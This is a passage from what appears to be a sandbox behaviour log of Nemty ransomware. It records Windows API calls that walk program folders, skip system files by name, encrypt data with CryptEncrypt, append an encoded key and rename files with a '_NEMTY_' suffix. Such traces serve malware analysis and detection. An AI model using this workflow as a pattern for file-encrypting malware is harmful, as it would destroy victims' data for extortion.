pszString="0YBnLdF1RyxrdyZTwaBsk9eayHBXgybNBtQlwxLPJpNt7sPq3IQU1EKZT7xzExGZ\r\n1Md4IPTbaKfcJBH6IiuN9YA/qFnS3kM5PQnQZFxix/FxOD6+AKOWpL9XbaegLLMk\r\nvQscY9kzrP6mX5R/+YnuPB8r7P7LCUWBJQ/UQtK0MZTMsQFGrmayHUNyuwBEQekZ\r\n3wgdMijyDtt5gjp3PrGWKHpkxbTnDrSBwrxK/wVes1sW+8B8erU+XbWYO1rt4Y5s\r\nm2mGPfGau2/hNOhLLUpnJfDSGxCW1wKte5cWDOyXAA3FWQOnELBuN7NHvkaCUbiw\r\nm44yli6BM+ctl2bVCxR7mQ==\r\n", pcchString=0x653e91c) returned 1 [0075.238] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0075.238] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0075.238] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0075.238] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0075.238] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0075.238] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0075.238] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0075.238] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0075.238] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0075.238] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.238] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.247] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.248] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.248] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.248] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.257] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.257] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.257] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.257] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.266] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.266] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.266] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.266] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.276] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.276] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.276] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.276] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.285] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.285] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.285] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.285] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.294] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.294] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.294] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.294] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.304] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.304] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.304] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.304] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.313] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.313] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.313] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.313] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.323] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.323] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.323] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.323] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.332] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.332] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.332] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.332] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.338] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.338] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.338] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.338] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.344] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.344] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.344] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.344] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0075.345] CloseHandle (hObject=0xffffffff) returned 0 [0075.345] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0075.345] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0075.345] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0075.345] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0075.345] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0075.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0075.345] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0075.345] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0075.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0075.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0075.345] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-static.png._nemty_kgobjgd_")) returned 0 [0075.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0075.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0075.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0075.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0075.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0075.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0075.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0075.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0075.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0075.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0075.345] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72454746, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72454746, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="Pets_btn-next-over-select.png", cAlternateFileName="")) returned 1 [0075.345] lstrcmpiW (lpString1="Pets_btn-next-over-select.png", lpString2=".") returned 1 [0075.345] lstrcmpiW (lpString1="Pets_btn-next-over-select.png", lpString2="..") returned 1 [0075.345] lstrcmpiW (lpString1="Pets_btn-next-over-select.png", lpString2="...") returned 1 [0075.345] lstrcmpiW (lpString1="Pets_btn-next-over-select.png", lpString2="windows") returned -1 [0075.346] lstrcmpiW (lpString1="Pets_btn-next-over-select.png", lpString2="$RECYCLE.BIN") returned 1 [0075.346] lstrcmpiW (lpString1="Pets_btn-next-over-select.png", lpString2="rsa") returned -1 [0075.346] lstrcmpiW (lpString1="Pets_btn-next-over-select.png", lpString2="NTDETECT.COM") returned 1 [0075.346] lstrcmpiW (lpString1="Pets_btn-next-over-select.png", lpString2="ntldr") returned 1 [0075.346] lstrcmpiW (lpString1="Pets_btn-next-over-select.png", lpString2="MSDOS.SYS") returned 1 [0075.346] lstrcmpiW (lpString1="Pets_btn-next-over-select.png", lpString2="IO.SYS") returned 1 [0075.346] lstrcmpiW (lpString1="Pets_btn-next-over-select.png", lpString2="boot.ini") returned 1 [0075.346] lstrcmpiW (lpString1="Pets_btn-next-over-select.png", lpString2="boot.ini") returned 1 [0075.346] lstrcmpiW (lpString1="Pets_btn-next-over-select.png", lpString2="AUTOEXEC.BAT") returned 1 [0075.346] lstrcmpiW (lpString1="Pets_btn-next-over-select.png", lpString2="ntuser.dat") returned 1 [0075.346] lstrcmpiW (lpString1="Pets_btn-next-over-select.png", lpString2="desktop.ini") returned 1 [0075.346] lstrcmpiW (lpString1="Pets_btn-next-over-select.png", lpString2="CONFIG.SYS") returned 1 [0075.346] lstrcmpiW (lpString1="Pets_btn-next-over-select.png", lpString2="RECYCLER") returned -1 [0075.346] lstrcmpiW (lpString1="Pets_btn-next-over-select.png", lpString2="BOOTSECT.BAK") returned 1 [0075.346] lstrcmpiW (lpString1="Pets_btn-next-over-select.png", lpString2="bootmgr") returned 1 [0075.346] lstrcmpiW (lpString1="Pets_btn-next-over-select.png", lpString2="programdata") returned -1 [0075.346] lstrcmpiW (lpString1="Pets_btn-next-over-select.png", lpString2="appdata") returned 1 [0075.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0075.346] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-next-over-select.png", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0075.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0075.346] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-next-over-select.png", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_btn-next-over-select.png", lpUsedDefaultChar=0x0) returned 29 [0075.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0075.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0075.346] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-next-over-select.png", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0075.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0075.346] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-next-over-select.png", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_btn-next-over-select.png", lpUsedDefaultChar=0x0) returned 29 [0075.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0075.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0075.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0075.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0075.346] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-next-over-select.png", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0075.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0075.346] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-next-over-select.png", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_btn-next-over-select.png", lpUsedDefaultChar=0x0) returned 29 [0075.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0075.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0075.347] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-next-over-select.png", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0075.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0075.347] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-next-over-select.png", cchWideChar=29, lpMultiByteStr=0x4f9ed08, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_btn-next-over-select.png", lpUsedDefaultChar=0x0) returned 29 [0075.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0075.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942b0 [0075.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0075.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0075.347] Sleep (dwMilliseconds=0x5) [0075.361] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe090d750, dwHighDateTime=0x1d561e7)) [0075.361] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe090d750, dwHighDateTime=0x1d561e7)) [0075.361] GetLastError () returned 0x5 [0075.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0075.361] GetLastError () returned 0x5 [0075.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0075.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0075.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0075.362] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0075.362] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0075.362] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0075.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0075.362] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="og9VhmZvQLAOFtWcqrmlcKmZ6HbNGi5pPRpPfM6lX+TbXWDMc9hINRLD0kFPHwzM\r\nVjulmi6hjHoMnCWIdBZz5KPAB3EjiqwiR06b2MNlmOQu/2T4aneXY4zi+Zp7aJRF\r\nEzY2mHRGfcM9Bh5jIgU4LkQMHXp8dyF73Uz9QbH3pvwIujt/jXKgvjeuPRb45l/S\r\nuTuwcpGQNkuuakHs2qzXQjE4lSCtWu+fVcvdbvo1w5UcOyZD7gGkTuNXy5YvNhfz\r\n/RSrW0Pp3Z3ZeDwNXiOt0IXG4+SABvh6UKSa5eyvbH+pcUN9sGbvu0ffGZ4cBlXJ\r\ntcD5kR6eQbYG1NE7hKSUrw==\r\n", pcchString=0x653e91c) returned 1 [0075.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0075.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0075.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0075.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0075.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0075.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0075.362] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-over-select.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0075.362] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0075.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0075.362] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.362] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, 